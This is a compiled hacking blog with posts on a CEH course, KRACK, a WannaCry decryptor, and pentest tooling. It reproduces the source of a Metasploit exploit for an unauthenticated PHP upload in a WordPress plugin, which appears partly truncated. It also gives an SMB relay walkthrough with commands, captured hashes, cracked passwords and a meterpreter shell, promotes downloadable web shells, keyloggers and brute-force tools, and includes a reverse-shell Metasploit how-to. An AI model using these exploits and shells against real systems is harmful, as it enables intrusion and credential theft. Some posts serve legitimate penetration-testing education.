Tuesday, December 31, 2019

Free EC-Council Certified Ethical Hacker (C|EH) V10 Course

In the year of Great Recession 2009 we started CEH and covered all topics and tools. This year at hackguide4u we are about to start CEH v10. In this new course we will explore the fundamental concepts of system vulnerability assessment and penetration testing. After completing this course and practicing anyone can take the CEH v10 certification exam in the near future and we at hackguide4u are not stopping at CEH only, we will also cover EC-Council's Specialist, Advance and Management courses as well.

By following EC-Council's official curriculum, this course is arranged according to five phases of hacking:

1- Reconnaissance

2- Scanning

3- Gaining Access

4- Maintaining Access

5- Covering Tracks

Almost all our readers are familiar with these terms and we will learn them again.

Video Labs will cover each topic and their tools in detail:

Footprinting and Reconnaissance
Scanning Network
Gaining Access
Vulnerability Analysis
System Hacking
Malware Threats
Social Engineering
Denial of Service
Session Hijacking
Evading IDS Firewalls and Honeypots
Accessing Networks and Applications
Hacking Web Servers
Hacking Web Applications
SQL Injection
Hacking Wireless Networks
Hacking Mobile Platforms
Cloud Computing
Maintaining Access
Covering Your Tracks

Lastly, welcome to Certified Ethical Hacking v10! I cannot wait to begin the course with such Enthusiasm and eager scholars.

Monday, October 16, 2017

Hack WPA2-PSK clients with Key Re-installation Attacks

Mathy Vanhoef discovered serious weaknesses in WPA2, a protocol that secures all modern protected Wi-Fi networks. An attacker within range of a victim can exploit these weaknesses using key reinstallation attacks (KRACKs). Concretely, attackers can use this novel attack technique to read information that was previously assumed to be safely encrypted. This can be abused to steal sensitive information such as credit card numbers, passwords, chat messages, emails, photos, and so on. The attack works against all modern protected Wi-Fi networks. Depending on the network configuration, it is also possible to inject and manipulate data. For example, an attacker might be able to inject ransomware or other malware into websites.
The weaknesses are in the Wi-Fi standard itself, and not in individual products or implementations. Therefore, any correct implementation of WPA2 is likely affected. To prevent the attack, users must update affected products as soon as security updates become available. Note that if your device supports Wi-Fi, it is most likely affected. During initial research,it is discovered that Android, Linux, Apple, Windows, OpenBSD, MediaTek, Linksys, and others, are all affected by some variant of the attacks. For more information about specific products, consult the database of CERT/CC, or contact your vendor.
Below is the detail of some router vendors that have issued KRACH Patches
the best way to protect yourself from this exploit is to not use Wi-Fi at all until a proper fix has been proven. CERT has released notes on the KRACK problem, including a list of vendors whose equipment is vulnerable.
Some security-minded companies have already worked on fixes and are offering patches. Check back often, as we will keep this list updated.
There are also a number of vendors listed as "Not affected" on the CERT website without further explanation from the vendors themselves. These include:

Saturday, May 20, 2017

WannaCry Ransomware | Solution | Fix

Since the WannaCry ransomware ripped through the internet in May 2017, infecting hundreds of thousands of machines and locking up critical systems from health care to transportation, cryptographers have searched for a cure. Finding a flaw in WannaCry’s encryption scheme, after all, could decrypt all those systems without any ransom.

Now one French researcher says he’s found at least a hint of a very limited remedy. The fix still seems too buggy, and far from the panacea WannaCry victims have hoped for. But if Adrien Guinet’s claims hold up, his tool could unlock some infected computers running Windows XP, the aging, largely unsupported version of Microsoft’s operating system, which analysts believe accounts for some portion of the WannaCry plague.
"Does not erase the prime numbers from memory before freeing the associated memory," says Guinet.
Based on this finding, Guinet released a WannaCry ransomware decryption tool, named WannaKey

"It does so by searching for them in the wcry.exe process. This is the process that generates the RSA private key. The main issue is that the CryptDestroyKey and CryptReleaseContext does not erase the prime numbers from memory before freeing the associated memory." says Guinet

So, that means, this method will work only if:

  1. The affected computer has not been rebooted after being infected.
  2. The associated memory has not been allocated and erased by some other process.

"In order to work, your computer must not have been rebooted after being infected. Please also note that you need some luck for this to work (see below), and so it might not work in every case!," Guinet says.

Download Tool here @ https://github.com/gentilkiwi/wanakiwi/releases

Tuesday, December 31, 2013

Sharing my Penetration Testing Tools with Source

After conducting Penetration Tests over the last 15 years i have a huge collection of windows and linux tools which help you to conduct penetration tests. They cover what backtrack tools, nessus, metasploit and many other cool dev's did not do the job for me.

Tool categories are:
webscanner, smtp scanner, ipv6 scanner, android trojans, stealth keyloggers, stealth remote control software undetectable by AV, vpn scanner, dns scanner, inside out tools to fetch data within protected environments, tunneling tools, penetration checklists etc. etc. etc.

All of them have never been published before. I will release them one after the other including source code. Most of them are really easy to use. I started uploading them to code.google.

Here are some of the first uploads:
dns-information-gathering-tool - This tool do an information gathering based on a domain name. - Google Project Hosting
android-security-demo-app - app and webserver to demonstrate how to control a remote phone via webserver - Google Project Hosting
ipv6-portable-portscanner - windows standalone portable portscanner ipv6 - Google Project Hosting
smtp-security-scanner - This tool identifies various vulnerabilities on a remote SMTP server (testing the remote SMTP deamon as well as external DB's). - Google Project Hosting
swat-web-security-scanner - windows scanner to identify sensitives web server files, methods etc. - Google Project Hosting

The more sophisticated (and dangerous ones) will come later....

Saturday, December 29, 2012

WordPress Asset-Manager PHP File Upload Vulnerability

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/

require 'msf/core'
require 'msf/core/exploit/php_exe'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::PhpEXE

    def initialize(info = {})
            'Name'           => 'WordPress Asset-Manager PHP File Upload Vulnerability',
            'Description'    => %q{
                This module exploits a vulnerability found in Asset-Manager <= 2.0   WordPress
                plugin.  By abusing the upload.php file, a malicious user can upload a file to a
                temp directory without authentication, which results in arbitrary code execution.
            'Author'         =>
                    'Sammy FORGIT', # initial discovery
                    'James Fitts ' # metasploit module
            'License'        => MSF_LICENSE,
            'References'     =>
                    [ 'OSVDB', '82653' ],
                    [ 'BID', '53809' ],
                    [ 'EDB', '18993' ],
                    [ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-asset-manager-shell-upload-vulnerability.html' ]
            'Payload'        =>
                    'BadChars' => "\x00",
            'Platform'       => 'php',
            'Arch'           => ARCH_PHP,
            'Targets'        =>
                    [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
                    [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
            'DefaultTarget' => 0,
            'DisclosureDate' => 'May 26 2012'))

                OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
            ], self.class)

    def exploit
        uri =  target_uri.path
        uri << '/' if uri[-1,1] != '/'
        peer = "#{rhost}:#{rport}"
        payload_name = "#{rand_text_alpha(5)}.php"
        php_payload = get_write_exec_payload(:unlink_self=>true)

        data = Rex::MIME::Message.new
        data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
        post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

        print_status("#{peer} - Uploading payload #{payload_name}")
        res = send_request_cgi({
            'method'  => 'POST',
            'uri'     => "#{uri}wp-content/plugins/asset-manager/upload.php",
            'ctype'   => "multipart/form-data; boundary=#{data.bound}",
            'data'    => post_data

        if not res or res.code != 200 or res.body !~ /#{payload_name}/
            fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")

        print_status("#{peer} - Executing payload #{payload_name}")
        res = send_request_raw({
            'uri'     => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
            'method'  => 'GET'

        if res and res.code != 200
            fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")

//The information contained within this publication is
//supplied "as-is"with no warranties or guarantees of fitness
//of use or otherwise. hackguide4u nor Adnan  accepts
//responsibility for any damage caused by the use or misuse of
//this informationBY BOT24

Executing SMB Relay Attacks via SQL Server using Metasploit

In this blog, I’ll provide a brief overview of SMB Relay attacks and show how they can be initiated through a Microsoft SQL Server.  I will also provide some practical examples that show how to use new Metasploit modules to gain unauthorized access to SQL Servers during a penetration test.    Below is a summary of what will be covered in this blog:
  •  A Brief History of SMB Relay
  • Using SQL Server to Iniate SMB Authentication Attacks
  • Using Metasploit Modules to Capture and Crack Hashes
  • Using Metasploit Modules to Relay Authentication

A Brief History of SMB Relay

In summary, an SMB Relay attack can be loosely defined as the process of relaying SMB authentication from one system to another via a man-in-the-middle (MITM) position. Based on my five whole minutes of wiki research I now know that the issues that allow smb attacks to be succesful were identified as a threat in the late 90’s.  However, it wasn’t until 2001 that Sir Dystic publicly released a tool that could be used to perform practical attacks.   Seven years later Microsoft got around to partially fixing the issue with a patch, but it only prevents attackers from relaying back to the originating system.
I guess the good news is that SMB relay attacks can be prevented by enabling and requiring smb message signing, but the bad news is that most environments are configured in such a way that attackers can still relay authentication to other systems.
2001 was a while ago, so I got out my calculator and did some hardcore math to figure out that this has been a well known and practiced attack for at least 11 years.  During that time there have been many tools and projects dedicated to taking advantage of the attack technique. Some of the more popular ones include Metasploit, Squirtle, and ZackAttack.
Anyway, let’s get back on track…

Using SQL Server to Initiate SMB Authentication Attacks

So how can we initiate SMB authentication through a SQL Server?  As it turns out, SQL Server can interact with the file system in a number of different ways.  For example, it supports functions for reading from files, providing directory listings, and checking if files exist.  The xp_dirtree and xp_fileexist stored procedures are especially handy, because by default they can be executed by any login with the PUBLIC role in SQL Server 2000 to 2012.
How does this help us?  Both the xp_dirtree and xp_fileexist stored procedures can support more then just local drives.  They also support remote UNC paths (\\server\file).  Also, everytime the SQL Server attempts to access a remote file server via a UNC path it automatically attempts to authenticate to it with the SQL Server service account.
The normal authentication process that would occur when a SQL Server accesses a remote file share via a UNC path looks something like the diagram below:
Basic Authentication Example
In most enterprise environments the SQL Server service is configured with a domain account.  What that means is an attacker could execute one of the prelisted stored procedures via SQL injection (or a valid SQL login) and relay the authentication to another database server to obtain a shell.  Alternatively, an attacker could simply capture and crack the hashes offline.  However, it should be noted that the SQL Server service can be configured with a number of different accounts.  Below is a table showing the basic account configuration options and potential attacks.

Service Account

Network Communication

SMB Capture

SMB Relay

NetworkService Computer Account Yes No
Local Administrator Local Administrator Yes Yes
Domain User Domain User Yes Yes
Domain Admin Domain Admin Yes Yes

 Using Metasploit Modules to Capture and Crack Hashes

So now that you understand how the basics work, let’s walk through how to initate SMB authentication through SQL server with the intent of gathering and cracking credentials for later use.  In the diagram below, I’ve tried to illustrate what it would look like if an attacker initiated a connection from the SQL server to their evil server and captured hashes using a static nonce.
smb capture
The attack scenario above can be automated using  the “auxiliary/server/capture/smb” and “auxiliary/admin/mssql/mssql_ntlm_stealer” Metasploit modules.  Below is a step by step example of how to capture and crack the credentials using those modules.
Systems for the scenario:
  • SQL  Server 1:
  • Attacker System:
    1. Start the Metasploit “smb” capture module to grab password hashes on the attacker’s system:
      use auxiliary/server/capture/smb
      set CAINPWFILE /cain_hashes.txt
      set JOHNPWFILE /john_hashes.txt

    1. Execute the “mssql_ntlm_stealer” metasploit module to initiate SMB authentication via SQL Server 1 using domain credententials:
      use auxiliary/admin/mssql/mssql_ntlm_stealer
      set USE_WINDOWS_AUTHENT true
      set DOMAIN DEMO
      set USERNAME test
      set PASSWORD Password12
      set RHOST
      set RPORT 1433
      Set SMBPROXY
      msf  auxiliary(mssql_ntlm_stealer) > run
      [*] DONT FORGET to run a SMB capture or relay module!
      [*] Forcing SQL Server at to auth to via xp_dirtree...
      [*] SMB Captured - 2012-11-26 10:45:35 -0600
      NTLMv1 Response Captured from -
      USER:sqlaccount DOMAIN:LVA OS:Windows Server 2003 3790 Service Pack 2 LM:
      [+] Successfully executed xp_dirtree on
      [+] Go check your SMB relay or capture module for goodies!
      [*] Scanned 1 of 1 hosts (100% complete)
      [*] Auxiliary module execution completed

    1. Crack the first 16 characters of the recovered LANMAN hash with rcracki and a seeded half LM Rainbow Tables. Both can be downloaded from http://www.project-rainbowcrack.com.
      C:\>rcracki_mt -h b0b6932dae11731f ./halflmchall
      Using 1 threads for pre-calculation and false alarm checking...
      Found 4 rainbowtable files...
      reading index... 13528977 bytes read, disk access time: 0.14 s
      reading table... 461190920 bytes read, disk access time: 4.55 s
      searching for 1 hash...
      plaintext of b0b6932dae11731f is WINTER2
      cryptanalysis time: 0.96 s
      plaintext found:            1 of 1 (100.00%)
      total disk access time:     4.68 s
      total cryptanalysis time:   0.96 s
      total pre-calculation time: 2.07 s
      total chain walk step:      2876401
      total false alarm:          1215
      total chain walk step due to false alarm: 1299561
      b0b6932dae11731f        WINTER2 hex:57494e54455232

  1. Crack the second half with john the ripper to obtain the case insensitive full LM password. Use the netntlm.pl script from the jumbo pack. They can be downloaded from http://www.openwall.com/john/.
    C:\>perl netntlm.pl --seed WINTER2 --file john_hashes.txt
    Loaded 1 password hash (LM C/R DES [netlm])
    WINTER2012       (sqlaccount)
    guesses: 1  time: 0:00:00:10 DONE (Mon Nov 26 10:59:56 2012)
    c/s: 428962  trying: WINTER204K - WINTER211IA
  2. Run the same command again to obtain the case sensitve password.
    C:\>perl netntlm.pl --seed WINTER2 --file john_hashes.txt
    Performing NTLM case-sensitive crack for account: sqlaccount.
    guesses: 1  time: 0:00:00:00 DONE (Mon Nov 26 11:01:54 2012)
    c/s: 1454  trying: WINTER2012 - winter2012
    Use the "--show" option to display all of the cracked passwords reliably
    Loaded 1 password hash (NTLMv1 C/R MD4 DES [ESS MD5] [netntlm])
    Winter2012       (sqlaccount)
If you’re interested in automating the process a little, Karl Fosaaen has created a PowerShell script to do it for you: https://github.com/NetSPI/PS_MultiCrack

Using Metasploit Modules to Relay SMB Authentication

Ok, now for the classic relay example.  Below is basic diagram showing how an attacker would be able to leverage a shared SQL Server service acccount being used by two SQL servers.  All that’s required is a SQL injection or a SQL login that has the PUBLIC role.
SMB Relay Attack
Now that we have covered the visual, let’s walkthrough the practical attack  using the mssql_ntlm_stealer module.  This can be used during penetration tests to obtain a meterpreter session on SQL Servers that are using a shared service account.
Systems for the scenario:
  • SQL  Server 1:
  • SQL  Server 2:
  • Attacker System:

    1. Start the Metasploit “smb_relay” module to relay authentication to SQL Server 2:
      use exploit/windows/smb/smb_relay
      set SMBHOST

  1. Configure and execute the “mssql_ntlm_stealer” Metasploit module against SQL Server 1:
    use auxiliary/admin/mssql/mssql_ntlm_stealer
    set USERNAME test
    set PASSWORD Password12
    set RHOST
    set RPORT 1433
    msf  auxiliary(mssql_ntlm_stealer) > run
    [*] DONT FORGET to run a SMB capture or relay module!
    [*] Forcing SQL Server at to auth to via xp_dirtree...
    [*] Received LVA\sqlaccount LMHASH:feefee989
    c0b45f833b7635f0d2ffd667f4bd0019c952d5a NTHASH:8f3e0be3190fee6b
    d17b793df4ace8f96e59d324723fcc95 OS:Windows Server 2003 3790
    Service Pack 2 LM:
    [*] Authenticating to as LVA\sqlaccount...
    [*] AUTHENTICATED as LVA\sqlaccount...
    [*] Connecting to the ADMIN$ share...
    [*] Regenerating the payload...
    [*] Uploading payload...
    [*] Created \saEQcXca.exe...
    [*] Connecting to the Service Control Manager...
    [*] Obtaining a service manager handle...
    [*] Creating a new service...
    [*] Closing service handle...
    [*] Opening service...
    [*] Starting the service...
    [*] Removing the service...
    [*] Sending stage (752128 bytes) to
    [*] Closing service handle...
    [*] Deleting \saEQcXca.exe...
    [*] Sending Access Denied to LVA\sqlaccount
    [+] Successfully executed xp_dirtree on
    [+] Go check your SMB relay or capture module for goodies!
    [*] Scanned 1 of 1 hosts (100% complete)
    [*] Auxiliary module execution completed
    msf  auxiliary(mssql_ntlm_stealer) >
    [*] Meterpreter session 1 opened ( -> at 2012-11-26
    11:54:18 -0600
I know my text examples can be a little lame, so I’ve put together a video example to how this attack can be done via SQL injection.  Hopefully it can provide some additional insight into the attack process.

Wrap Up

I would like to make it clear that none of these are original ideas.  Techniques for initiating SMB relay attacks through SQL injection on database platforms like SQL Server have been around a long time. My hope is that the Metasploit modules can be used during penetration tests to help generate more awareness.  To those out there trying to do a little good with a little bad – have fun and hack responsibly!
BY Scott Sutherland

SQL Fingerprint Xmas Released

Microsoft SQL Server fingerprinting can be a time consuming process, because it involves trial and error methods to determine the exact version. Intentionally inserting an invalid input to obtain a typical error message or using certain alphabets that are unique for certain server are two of the many ways to possibly determine the version, but most of them require authentication, permissions and/or privileges on Microsoft SQL Server to succeed.

Instead, ESF.pl uses a combination of crafted packets for SQL Server Resolution Protocol (SSRP) and Tabular Data Stream Protocol (TDS) (protocols natively used by Microsoft SQL Server) to accurately perform version fingerprinting and determine the exact Microsoft SQL Server version. ESF.pl also applies a sophisticated Scoring Algorithm Mechanism (Powered by Exploit Next Generation++ Technology), which is a much more reliable technique to determine the Microsoft SQL Server version. It is a tool intended to be used by:

This version is a completely rewritten version in Perl, making ESF.pl much more
 portable than the previous binary version (Win32), and its original purpose is 
to be used as a tool to perform automated penetration test. This version 
also includes the followingMicrosoft SQL Server versions to its fingerprint 
        • Microsoft SQL Server 2012 SP1 (CU1)
        • Microsoft SQL Server 2012 SP1
        • Microsoft SQL Server 2012 SP1 CTP4
        • Microsoft SQL Server 2012 SP1 CTP3
        • Microsoft SQL Server 2012 SP0 (CU4)
        • Microsoft SQL Server 2012 SP0 (MS12-070)
        • Microsoft SQL Server 2012 SP0 (CU3)
        • Microsoft SQL Server 2012 SP0 (CU2)
        • Microsoft SQL Server 2012 SP0 (CU1)
        • Microsoft SQL Server 2012 SP0 (MS12-070)
        • Microsoft SQL Server 2012 SP0 (KB2685308)
        • Microsoft SQL Server 2012 RTM

Download: http://code.google.com

Source: http://code.google.com/p/sql-fingerprint-next-generation

Monday, September 24, 2012

Online Penetration Testing Tools [Private]

Word Press
Remote Code Execution , BruteForce via IP , Theme ScaNne via IP , Theme ScaNne , Site Extracte. Joomla
Turbo Brute Force , Token ScaNe Server, ScaNner Site Extracte,
vB SQL[4.0.x =>4.1.3] , vB Brut Force [Proxy]
SQL Server ScaNne, SQL Target ScanNer, SQL Dork ScaNne, SQL Injection Helpe,r Admin Finder. LFI 
LFI Server ScaNner, LFI ToOl'z Kit, LFI Inject Shell, LFI File Dumper.
Other Tools   
Whois Multiple Service, WHMCS LFI Exploit, Multiple CMS ScaNner, Server ScaNn3r CMS,
Server Dork Sc4nN3r, Exploit Finder, Script'z Finder ,Shell Finder ,Users Finder Via IP, Zone-H Poster, Crypte / Decrypte, Decrypte ToOl'z.

To use all This Go to http://www.s3c-l4b.com/

Shell Name
Langage Shell
Shell Pic
Include Txt
Download Zip
r57 Pro Shell
Sa-H4x0r Shell
WSO Dz Shell
Madspot Shell
SQL_Cmd3 ToOl'z
Saudi Shell
WebAdmin Shell
Syrian7 Shell
PHP Backdoor
TurkBlackHat ToOl'z
Security Labs Shell
PHP Smylink
WebRoot Multi ToOl'z
SoQor Shell
SymLink Pro
Domain & User & Sym
Python Shelles

Tuesday, July 24, 2012

Metasploit Nmap Version

For those of you wondering why metasploit uses nmap 5.61 instead of 6.01 when you do
an nmap scan in metasploit its because metasploit has its own nmap built in and the metasploit devs haven't upgraded it yet
if you want to use Nmap 6.01 in metasploit do the following.

mv /opt/metasploit/common/bin/nmap /opt/metasploit/common/bin/nmap.bak
ln -s /usr/local/bin/nmap /opt/metasploit/common/bin/
cd /opt/metasploit/common/lib
cd ../../msf3;./msfconsole
db_nmap -sS -sV -O            # your gateway maybe different to get your gateway follow below #

Copy and paste below into terminal to get Your Gateway

ip route show default | awk '/default/ {print $3 "/"24}'

if you get a libcrypto system link errror when you start metasploit, nmap or updating do the following
cd /opt/metasploit/common/lib
mv libcrypto.so.0.9.8 libcrypto.so.0.9.8-b
mv libssl.so.0.9.8 libssl.so.0.9.8-backup
ln -s /usr/lib/libcrypto.so.0.9.8
ln -s /usr/lib/libssl.so.0.9.8

If you encounter any problems and want to restore the metasploit built in nmap
mv /opt/metasploit/common/bin/nmap.bak /opt/metasploit/common/bin/nmap

Monday, July 23, 2012

Metasploit Penetration Testing Cookbook

Download Metasploit Penetration Testing Cookbook

Set up a complete penetration testing environment using metasploit and virtual machines
Learn to penetration-test popular operating systems such as Windows7, Windows 2008 Server, Ubuntu etc.
Get familiar with penetration testing based on client side exploitation techniques with detailed analysis of vulnerabilities and codes
Avail of exclusive coverage of antivirus bypassing techniques using metasploit
Master post-exploitation techniques such as exploring the target, keystrokes capturing, sniffing, pivoting, setting persistent connections etc.

Build and analyze meterpreter scripts in Ruby
Build and export exploits to framework
Use extension tools like Armitage, SET etc.

Real-World Security Tests Using Metasploit

The Perl-based Metasploit was designed to be a robust exploit development system. It just so happens that you can use it to run previously developed exploits against your own systems. You can use its security testing features to see if your systems vulnerable to penetration and how they react when specific payloads are sent their way.
Outside of common Web application tests such as SQL injection and input tampering which are not supported, Metasploit has exploit code for a wide range of vulnerabilities in standalone applications, Web servers, operating systems, and more — 100 exploits and 75 payloads in version 2.4 to be exact. Version 2.5 was just released which, according the Metasploit site, includes bug fixes, cosmetic changes, and 32 more exploits! Even with over 100 exploits to choose from, obviously this isn’t enough to exploit every possible vulnerability in every penetration testing scenario you come across. But then again, the framework was built so you can write your own if you’re so inclined.

In this installment, I’ll outline how to use Metasploits built-in exploits and payloads in a real-world testing scenario. Be forewarned that it’s possible to create undesired results with this tool when performing your tests such as crashing or leaving production systems in an unstable state. As with any ethical hacking venture, proceed with caution and have a contingency plan in the event something goes awry. Please don’t take this lightly.
How to use Metasploit commands
Before jumping into the specific steps to execute this exploit, there are some common msfconsole commands you should know about:

  • help (or ‘?’) – shows the available commands in msfconsole
  • show exploits – shows the exploits you can run (in our case here, the ms05_039_pnpexploit)
  • show payloads – shows the various payload options you can execute on the exploited system such as spawn a command shell, uploading programs to run, etc. (in our case here, the win32_reverse exploit)
  • info exploit [exploit name] – shows a description of a specific exploit name along with its various options and requirements (ex. info exploit ms05_039_pnp shows information on that specific attack)
  • info payload [payload name] – shows a description of a specific payload name along with its various options and requirements (ex. info payload win32_reverse shows information on spawning a command shell)
  • use [exploit name] – instructs msfconsole to enter into a specific exploit’s environment (ex. use ms05_039_pnp will bring up the command prompt ms05_039_pnp > for this specific exploit
  • show options – shows the various parameters for the specific exploit you’re working with
  • show payloads – shows the payloads compatible with the specific exploit you’re working with
  • set PAYLOAD – allows you to set the specific payload for your exploit (in this example,set PAYLOAD win32_reverse)
  • show targets – shows the available target OSs and applications that can be exploited
  • set TARGET – allows you to select your specific target OS/application (in this example, I’ll use set TARGET 0 to for all English versions of Windows 2000)
  • set RHOST – allows you to set your target host’s IP address (in this example, set RHOST
  • set LHOST – allows you to set the local host’s IP address for the reverse communications needed to open the reverse command shell (in this example, set LHOST
  • back – allows you to exit the current exploit environment you’ve loaded and go back to the main msfconsole prompt
How to use Metasploit: Real-world exploit
Now that I’ve described the basic commands you’ll need, let’s take a look at some specific steps and screen shots required to carry out a real-world exploit.

My test target in this example is a Windows 2000 Server system that has the MS05-039 plug and play vulnerability (CVE-2005-1983) that was exploited by the Zotob worm. This hole — which Metasploit happens to have an exploit for — allows arbitrary code execution including shell (command prompt) access to the system. I know my target system has this vulnerability because I discovered the problem with the vulnerability assessment tool QualysGuard. This is purely a part of an ethical hacking methodology, but it’s not required. You can blindly test your systems — or, even better — Metasploit can do some of the legwork for you with its “check” function to see if a system is vulnerable before exploiting it. More on this below. My testing system is a Windows XP SP2 system running the Metasploit Framework version 2.4 I downloaded and installed. I’ll use Metasploit’s most commonly used msfconsole interface to demonstrate this attack.
Metasploit how-to: Step 1
I load msfconsole (via Start/Programs/Metasploit Framework/MSFConsole) and its command prompt comes up:
Note: At this point you can enter show exploits to see which exploits are available for your target system.

Metasploit how-to: Step 2
I enter use ms05_039_pnp to run the specific exploit which I know the system is vulnerable, and it loads up that specific exploit’s environment prompt (hence the ms05_039_pnp > prompt):

Metasploit how-to: Step 3
I then enter show payloads to determine which payloads can be sent via this exploit:

Metasploit how-to: Step 4
I decide to have the exploit open up a reverse command shell, so I enter set PAYLOAD win32_reverse. I then enter show targets to determine which operating systems and applications are supported. In this case, I’ll set my target to the option that supports versions of Windows 2000 Service Pack 0 (the first version of Windows 2000) thru Service Pack 4 by entering set TARGET 0:

Metasploit how-to: Step 5
I then enter show options to determine the non-optional exploit and payload parameters that don’t have defaults and, therefore, must be set. In this case, it’s the RHOST and LHOST parameters which can be set via set RHOST and set LHOST

Metasploit how-to: Step 6
I enter show options one final time to make sure everything is set correctly and then entercheck to confirm that my target system is indeed vulnerable to the ms05_039_pnp vulnerability.

Metasploit how-to: Step 7
Finally, I enter exploit to run the exploit and send the payload to my target system — and voila — the connection is established and I have a command prompt on the remote system! Penetration testing at its finest:

You can imagine what could happen at this point if a malicious hacker compromised your system in this way. That’s why it’s so important to “hack” your own systems first so you can find and plug the holes before the bad guys exploit them.
Using Metasploit: There’s more to come
This exploit is just one example of what can be done using Metasploit during penetration testing. The good thing is that outside of the specific exploit and payload I used, most of the commands and techniques in this example can apply directly to other Metasploit-supported exploits.

Once you’re used to how Metasploit operates, you’ll be glad to know that it contains several advanced features. You can save your “set” options, log your actions, and even define how each payload will clean up after itself once it’s done running. The neat thing about Metasploit is that it’s so powerful yet so easy to use. The msfconsole is very intuitive and help is always just a command away.
I encourage you to play around with Metasploit in a test environment to see for yourself what it can do. It’s an enlightening proof of concept tool to say the least. If you stay plugged into the Metasploit Project’s Web site, you can stay abreast of the latest framework and exploit releases. Apparently, a new and improved version of Metasploit (version 3) written in the Ruby programming language is due out soon, so be on the lookout for it as well.
It pleases me that we’ve got such advanced tools like Metasploit at our disposal for the betterment of information security – especially for the low, low price of $0 in this case. These types of exploit tools will certainly play a vital role in the future of improving the overall quality of software, so the more you know about them the better. With a quick Metasploit download, easy install, and a few minutes familiarizing yourself with its interface, the future is all yours.

Owasp Xelenium - XSS Scanner

 Xelenium is a security testing tool that can be used to identify the security vulnerabilities present in the web application. Xelenium uses the open source functional test automation tool 'Selenium' as its engine and has been built using Java swing.
Xelenium has been designed considering that it should obtain very few inputs from users in the process of discovering the bugs.

Current version helps the user in identifying the Cross Site Scripting (XSS) threats present in the web application. In the subsequent versions, Xelenium will be enhanced such that it could identify the other leading threats.


Monday, March 12, 2012